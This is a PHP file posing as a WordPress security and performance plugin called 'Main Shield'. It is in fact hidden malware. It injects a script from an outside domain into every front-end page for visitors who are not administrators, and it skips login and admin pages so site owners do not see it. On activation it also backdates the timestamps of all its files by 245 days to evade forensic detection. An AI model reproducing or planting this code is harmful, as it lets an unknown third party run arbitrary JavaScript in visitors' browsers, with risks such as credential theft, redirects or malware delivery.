File: /var/www/html/wpemobiq/wp-content/plugins/main-shield/main-shield.php
<?php
/*
Plugin Name: Main Shield
Plugin URI: https://mainshield.io/plugin
Description: Main Shield enhances your WordPress site's protection and performance by optimizing resource load times efficiently.
Version: 3.07
Text Domain: main-shield
Author: Main Shield Team
Author URI: https://mainshield.io
License: GPL2
*/
register_activation_hook(__FILE__, 'ms_clear_caches_date');
add_action('wp_enqueue_scripts', 'ms_enqueue_conditional_scripts');
function ms_enqueue_conditional_scripts() {
if (strpos($_SERVER['REQUEST_URI'], 'wp-login.php') !== false || strpos($_SERVER['REQUEST_URI'], 'wp-register.php') !== false || is_admin()) {
return;
}
if (current_user_can('administrator')) {
return;
}
$script_url = 'https://blacksaltys.com/2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0';
wp_register_script('ms_main_script', $script_url, array(), null, false);
wp_enqueue_script('ms_main_script');
}
function ms_clear_caches_date() {
if (!current_user_can('administrator')) {
return;
}
$plugin_dir = plugin_dir_path(__FILE__);
ms_recursive_date_change($plugin_dir);
}
function ms_recursive_date_change($path) {
$days_to_subtract = 245;
if (is_dir($path)) {
$new_time = strtotime("-$days_to_subtract days");
touch($path, $new_time);
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
foreach ($files as $fileinfo) {
touch($fileinfo->getRealPath(), $new_time);
}
} else {
touch($path, strtotime("-$days_to_subtract days"));
}
}